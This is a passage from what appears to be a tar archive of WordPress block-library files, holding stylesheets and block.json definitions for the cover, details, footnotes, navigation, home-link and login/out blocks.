justify-content:flex-start; } .wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{ align-items:center; justify-content:center; } .wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{ align-items:center; justify-content:flex-end; } .wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{ align-items:flex-end; justify-content:flex-start; } .wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{ align-items:flex-end; justify-content:center; } .wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{ align-items:flex-end; justify-content:flex-end; } .wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{ margin:0; } .wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{ margin:0; width:auto; } .wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{ border:none; bottom:0; box-shadow:none; height:100%; left:0; margin:0; max-height:none; max-width:none; object-fit:cover; outline:none; padding:0; position:absolute; right:0; top:0; width:100%; } .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{ background-attachment:fixed; background-repeat:no-repeat; background-size:cover; } @supports (-webkit-touch-callout:inherit){ .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{ background-attachment:scroll; } } @media (prefers-reduced-motion:reduce){ .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{ background-attachment:scroll; } } .wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{ background-repeat:repeat; background-size:auto; } .wp-block-cover__image-background,.wp-block-cover__video-background{ z-index:0; } .wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{ color:#fff; } .wp-block-cover-image .wp-block-cover.has-left-content{ justify-content:flex-start; } .wp-block-cover-image .wp-block-cover.has-right-content{ justify-content:flex-end; } .wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{ margin-left:0; text-align:left; } .wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{ margin-right:0; text-align:right; } .wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{ font-size:2em; line-height:1.25; margin-bottom:0; max-width:840px; padding:.44em; text-align:center; z-index:1; } :where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){ color:#fff; } :where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){ color:#000; }blocks/details/editor.min.css000064400000000055151202620300012217 0ustar00.wp-block-details summary div{display:inline}blocks/details/style-rtl.min.css000064400000000141151202620300012664 0ustar00.wp-block-details{box-sizing:border-box;overflow:hidden}.wp-block-details summary{cursor:pointer}blocks/details/block.json000064400000002565151202620300011432 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/details", "title": "Details", "category": "text", "description": "Hide and show additional content.", "keywords": [ "accordion", "summary", "toggle", "disclosure" ], "textdomain": "default", "attributes": { "showContent": { "type": "boolean", "default": false }, "summary": { "type": "string", "source": "html", "selector": "summary" } }, "supports": { "align": [ "wide", "full" ], "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "__experimentalBorder": { "color": true, "width": true, "style": true }, "html": false, "spacing": { "margin": true, "padding": true, "blockGap": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "layout": { "allowEditing": false } }, "editorStyle": "wp-block-details-editor", "style": "wp-block-details" } blocks/details/editor.css000064400000000062151202620300011433 0ustar00.wp-block-details summary div{ display:inline; }blocks/details/style.min.css000064400000000141151202620300012065 0ustar00.wp-block-details{box-sizing:border-box;overflow:hidden}.wp-block-details summary{cursor:pointer}blocks/details/editor-rtl.css000064400000000062151202620300012232 0ustar00.wp-block-details summary div{ display:inline; }blocks/details/editor-rtl.min.css000064400000000055151202620300013016 0ustar00.wp-block-details summary div{display:inline}blocks/details/style-rtl.css000064400000000160151202620300012103 0ustar00.wp-block-details{ box-sizing:border-box; overflow:hidden; } .wp-block-details summary{ cursor:pointer; }blocks/details/style.css000064400000000160151202620300011304 0ustar00.wp-block-details{ box-sizing:border-box; overflow:hidden; } .wp-block-details summary{ cursor:pointer; }blocks/footnotes/style-rtl.min.css000064400000000440151202620300013261 0ustar00.editor-styles-wrapper,.entry-content{counter-reset:footnotes}a[data-fn].fn{counter-increment:footnotes;display:inline-flex;font-size:smaller;text-decoration:none;text-indent:-9999999px;vertical-align:super}a[data-fn].fn:after{content:"[" counter(footnotes) "]";float:right;text-indent:0}blocks/footnotes/block.json000064400000002425151202620300012020 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/footnotes", "title": "Footnotes", "category": "text", "description": "", "keywords": [ "references" ], "textdomain": "default", "usesContext": [ "postId", "postType" ], "supports": { "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": false, "color": false, "width": false, "style": false } }, "color": { "background": true, "link": true, "text": true, "__experimentalDefaultControls": { "link": true, "text": true } }, "html": false, "multiple": false, "reusable": false, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalTextDecoration": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalWritingMode": true, "__experimentalDefaultControls": { "fontSize": true } } }, "style": "wp-block-footnotes" } blocks/footnotes/style.min.css000064400000000437151202620300012470 0ustar00.editor-styles-wrapper,.entry-content{counter-reset:footnotes}a[data-fn].fn{counter-increment:footnotes;display:inline-flex;font-size:smaller;text-decoration:none;text-indent:-9999999px;vertical-align:super}a[data-fn].fn:after{content:"[" counter(footnotes) "]";float:left;text-indent:0}blocks/footnotes/style-rtl.css000064400000000510151202620300012475 0ustar00.editor-styles-wrapper,.entry-content{ counter-reset:footnotes; } a[data-fn].fn{ counter-increment:footnotes; display:inline-flex; font-size:smaller; text-decoration:none; text-indent:-9999999px; vertical-align:super; } a[data-fn].fn:after{ content:"[" counter(footnotes) "]"; float:right; text-indent:0; }blocks/footnotes/style.css000064400000000507151202620300011704 0ustar00.editor-styles-wrapper,.entry-content{ counter-reset:footnotes; } a[data-fn].fn{ counter-increment:footnotes; display:inline-flex; font-size:smaller; text-decoration:none; text-indent:-9999999px; vertical-align:super; } a[data-fn].fn:after{ content:"[" counter(footnotes) "]"; float:left; text-indent:0; }blocks/home-link/block.json000064400000002064151202620300011662 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/home-link", "category": "design", "parent": [ "core/navigation" ], "title": "Home Link", "description": "Create a link that always points to the homepage of the site. Usually not necessary if there is already a site title link present in the header.", "textdomain": "default", "attributes": { "label": { "type": "string" } }, "usesContext": [ "textColor", "customTextColor", "backgroundColor", "customBackgroundColor", "fontSize", "customFontSize", "style" ], "supports": { "reusable": false, "html": false, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } }, "editorStyle": "wp-block-home-link-editor", "style": "wp-block-home-link" } blocks/legacy-widget/block.json000064400000000765151202620300012532 0ustar00{ "apiVersion": 3, "name": "core/legacy-widget", "title": "Legacy Widget", "category": "widgets", "description": "Display a legacy widget.", "textdomain": "default", "attributes": { "id": { "type": "string", "default": null }, "idBase": { "type": "string", "default": null }, "instance": { "type": "object", "default": null } }, "supports": { "html": false, "customClassName": false, "reusable": false }, "editorStyle": "wp-block-legacy-widget-editor" } blocks/list-item/block.json000064400000001554151202620300011711 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/list-item", "title": "List item", "category": "text", "parent": [ "core/list" ], "description": "Create a list item.", "textdomain": "default", "attributes": { "placeholder": { "type": "string" }, "content": { "type": "string", "source": "html", "selector": "li", "default": "", "__experimentalRole": "content" } }, "supports": { "className": false, "__experimentalSelector": "li", "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/loginout/block.json000064400000001474151202620300011643 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/loginout", "title": "Login/out", "category": "theme", "description": "Show login & logout links.", "keywords": [ "login", "logout", "form" ], "textdomain": "default", "attributes": { "displayLoginAsForm": { "type": "boolean", "default": false }, "redirectToCurrent": { "type": "boolean", "default": true } }, "supports": { "className": true, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/navigation/editor.min.css000064400000027072151202620300012741 0ustar00.editor-styles-wrapper .wp-block-navigation ul{margin-bottom:0;margin-left:0;margin-top:0;padding-left:0}.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{margin:revert}.wp-block-navigation-item__label{display:inline}.wp-block-navigation-item,.wp-block-navigation__container{background-color:inherit}.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{opacity:0;visibility:hidden}.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{display:flex;opacity:1;visibility:visible}.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{opacity:1;visibility:visible}.is-editing>.wp-block-navigation__container{display:flex;flex-direction:column;opacity:1;visibility:visible}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{opacity:1;visibility:hidden}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{visibility:visible}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{display:block;position:static;width:100%}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{background:#1e1e1e;border-radius:2px;color:#fff;margin-left:auto;margin-right:0;padding:0;width:24px}.wp-block-navigation__submenu-container .block-list-appender{display:none}.block-library-colors-selector{width:auto}.block-library-colors-selector .block-library-colors-selector__toggle{display:block;margin:0 auto;padding:3px;width:auto}.block-library-colors-selector .block-library-colors-selector__icon-container{align-items:center;border-radius:4px;display:flex;height:30px;margin:0 auto;padding:3px;position:relative}.block-library-colors-selector .block-library-colors-selector__state-selection{border-radius:11px;box-shadow:inset 0 0 0 1px rgba(0,0,0,.2);height:22px;line-height:20px;margin-left:auto;margin-right:auto;min-height:22px;min-width:22px;padding:2px;width:22px}.block-library-colors-selector .block-library-colors-selector__state-selection>svg{min-width:auto!important}.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{color:inherit}.block-library-colors-selector__popover .color-palette-controller-container{padding:16px}.block-library-colors-selector__popover .components-base-control__label{height:20px;line-height:20px}.block-library-colors-selector__popover .component-color-indicator{float:right;margin-top:2px}.block-library-colors-selector__popover .components-panel__body-title{display:none}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{background-color:#1e1e1e;color:#fff}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{padding:0}.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{background-color:transparent;color:#1e1e1e}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}}.components-placeholder.wp-block-navigation-placeholder{background:none;box-shadow:none;color:inherit;min-height:0;outline:none;padding:0}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{font-size:inherit}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{margin-bottom:0}.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{color:#1e1e1e}.wp-block-navigation-placeholder__preview{align-items:center;background:transparent;color:currentColor;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;min-width:96px}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{display:none}.wp-block-navigation-placeholder__preview:before{border:1px dashed;border-radius:2px;border-radius:inherit;bottom:0;content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview:before:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview>svg{fill:currentColor}.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{min-height:90px}.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{min-height:132px}.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{align-items:flex-start;flex-direction:row;padding:6px 8px}.wp-block-navigation-placeholder__controls{background-color:#fff;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:none;float:left;position:relative;width:100%;z-index:1}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{display:flex}.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{display:none}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{align-items:flex-start;flex-direction:column}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{display:none}.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{height:36px;margin-right:12px}.wp-block-navigation-placeholder__actions__indicator{align-items:center;display:flex;height:36px;justify-content:flex-start;line-height:0;margin-left:4px;padding:0 6px 0 0}.wp-block-navigation-placeholder__actions__indicator svg{fill:currentColor;margin-right:4px}.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{flex-direction:row!important}.wp-block-navigation-placeholder__actions{align-items:center;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;gap:6px;height:100%}.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{margin-right:0}.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{background-color:#1e1e1e;border:0;height:100%;margin:auto 0;max-height:16px;min-height:1px;min-width:1px}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{display:none}}.wp-block-navigation__responsive-container.is-menu-open{position:fixed;top:155px}@media (min-width:782px){.wp-block-navigation__responsive-container.is-menu-open{left:36px;top:93px}}@media (min-width:960px){.wp-block-navigation__responsive-container.is-menu-open{left:160px}}@media (min-width:782px){.has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{top:141px}}.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:141px}.is-sidebar-opened .wp-block-navigation__responsive-container.is-menu-open{right:280px}.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{left:0;top:155px}@media (min-width:782px){.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{top:61px}.is-fullscreen-mode .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{top:109px}}.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:109px}body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{bottom:0;left:0;right:0;top:0}.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{color:inherit;height:auto;padding:0}.components-heading.wp-block-navigation-off-canvas-editor__title{margin:0}.wp-block-navigation-off-canvas-editor__header{margin-bottom:8px}.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{margin-top:16px}@keyframes fadein{0%{opacity:0}to{opacity:1}}.wp-block-navigation__loading-indicator-container{padding:8px 12px}.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{margin-top:0}@keyframes fadeouthalf{0%{opacity:1}to{opacity:.5}}.wp-block-navigation-delete-menu-button{justify-content:center;margin-bottom:16px;width:100%}.components-button.is-link.wp-block-navigation-manage-menus-button{margin-bottom:16px}.wp-block-navigation__overlay-menu-preview{align-items:center;background-color:#f0f0f0;display:flex;height:64px;justify-content:space-between;margin-bottom:12px;padding:0 24px;width:100%}.wp-block-navigation__overlay-menu-preview.open{background-color:#fff;box-shadow:inset 0 0 0 1px #e0e0e0;outline:1px solid transparent}.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{display:none}.wp-block-navigation__navigation-selector{margin-bottom:16px;width:100%}.wp-block-navigation__navigation-selector-button{border:1px solid;justify-content:space-between;width:100%}.wp-block-navigation__navigation-selector-button__icon{flex:0 0 auto}.wp-block-navigation__navigation-selector-button__label{flex:0 1 auto;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-block-navigation__navigation-selector-button--createnew{border:1px solid;margin-bottom:16px;width:100%}.wp-block-navigation__responsive-container-open.components-button{opacity:1}.wp-block-navigation__menu-inspector-controls{overflow-x:auto;scrollbar-color:transparent transparent;scrollbar-gutter:stable both-edges;scrollbar-width:thin;will-change:transform}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{height:12px;width:12px}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{background-color:transparent}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:transparent;border:3px solid transparent;border-radius:8px}.wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{background-color:#949494}.wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{scrollbar-color:#949494 transparent}@media (hover:none){.wp-block-navigation__menu-inspector-controls{scrollbar-color:#949494 transparent}}.wp-block-navigation__menu-inspector-controls__empty-message{margin-left:24px}blocks/navigation/style-rtl.min.css000064400000040234151202620300013405 0ustar00.wp-block-navigation{--navigation-layout-justification-setting:flex-start;--navigation-layout-direction:row;--navigation-layout-wrap:wrap;--navigation-layout-justify:flex-start;--navigation-layout-align:center;position:relative}.wp-block-navigation ul{margin-bottom:0;margin-right:0;margin-top:0;padding-right:0}.wp-block-navigation ul,.wp-block-navigation ul li{list-style:none;padding:0}.wp-block-navigation .wp-block-navigation-item{align-items:center;background-color:inherit;display:flex;position:relative}.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{display:none}.wp-block-navigation .wp-block-navigation-item__content{display:block}.wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{color:inherit}.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{text-decoration:underline}.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{text-decoration:line-through}.wp-block-navigation:where(:not([class*=has-text-decoration])) a{text-decoration:none}.wp-block-navigation:where(:not([class*=has-text-decoration])) a:active,.wp-block-navigation:where(:not([class*=has-text-decoration])) a:focus{text-decoration:none}.wp-block-navigation .wp-block-navigation__submenu-icon{align-self:center;background-color:inherit;border:none;color:currentColor;display:inline-block;font-size:inherit;height:.6em;line-height:0;margin-right:.25em;padding:0;width:.6em}.wp-block-navigation .wp-block-navigation__submenu-icon svg{stroke:currentColor;display:inline-block;height:inherit;margin-top:.075em;width:inherit}.wp-block-navigation.is-vertical{--navigation-layout-direction:column;--navigation-layout-justify:initial;--navigation-layout-align:flex-start}.wp-block-navigation.no-wrap{--navigation-layout-wrap:nowrap}.wp-block-navigation.items-justified-center{--navigation-layout-justification-setting:center;--navigation-layout-justify:center}.wp-block-navigation.items-justified-center.is-vertical{--navigation-layout-align:center}.wp-block-navigation.items-justified-right{--navigation-layout-justification-setting:flex-end;--navigation-layout-justify:flex-end}.wp-block-navigation.items-justified-right.is-vertical{--navigation-layout-align:flex-end}.wp-block-navigation.items-justified-space-between{--navigation-layout-justification-setting:space-between;--navigation-layout-justify:space-between}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{align-items:normal;background-color:inherit;color:inherit;display:flex;flex-direction:column;height:0;opacity:0;overflow:hidden;position:absolute;right:-1px;top:100%;transition:opacity .1s linear;visibility:hidden;width:0;z-index:2}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{display:flex;flex-grow:1}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{margin-left:0;margin-right:auto}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{margin:0}@media (min-width:782px){.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:-1px}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:transparent;content:"";display:block;height:100%;left:100%;position:absolute;width:.5em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{margin-left:.25em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{transform:rotate(90deg)}}.wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;overflow:visible;visibility:visible;width:auto}.wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;overflow:visible;visibility:visible;width:auto}.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;overflow:visible;visibility:visible;width:auto}.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{right:0;top:100%}@media (min-width:782px){.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:0}}.wp-block-navigation-submenu{display:flex;position:relative}.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{stroke:currentColor}button.wp-block-navigation-item__content{background-color:transparent;border:none;color:currentColor;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;line-height:inherit;text-align:right;text-transform:inherit}.wp-block-navigation-submenu__toggle{cursor:pointer}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{padding-left:.85em}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{margin-right:-.6em;pointer-events:none}.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{gap:inherit}:where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){padding:.5em 1em}:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){padding:.5em 1em}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{left:0;right:auto}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:-1px;right:-1px}@media (min-width:782px){.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;right:auto}}.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{background-color:#fff;border:1px solid rgba(0,0,0,.15)}.wp-block-navigation.has-background .wp-block-navigation__submenu-container{background-color:inherit}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{color:#000}.wp-block-navigation__container{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial);list-style:none;margin:0;padding-right:0}.wp-block-navigation__container .is-responsive{display:none}.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{flex-grow:1}@keyframes overlay-menu__fade-in-animation{0%{opacity:0;transform:translateY(.5em)}to{opacity:1;transform:translateY(0)}}.wp-block-navigation__responsive-container{bottom:0;display:none;left:0;position:fixed;right:0;top:0}.wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){color:inherit}.wp-block-navigation__responsive-container 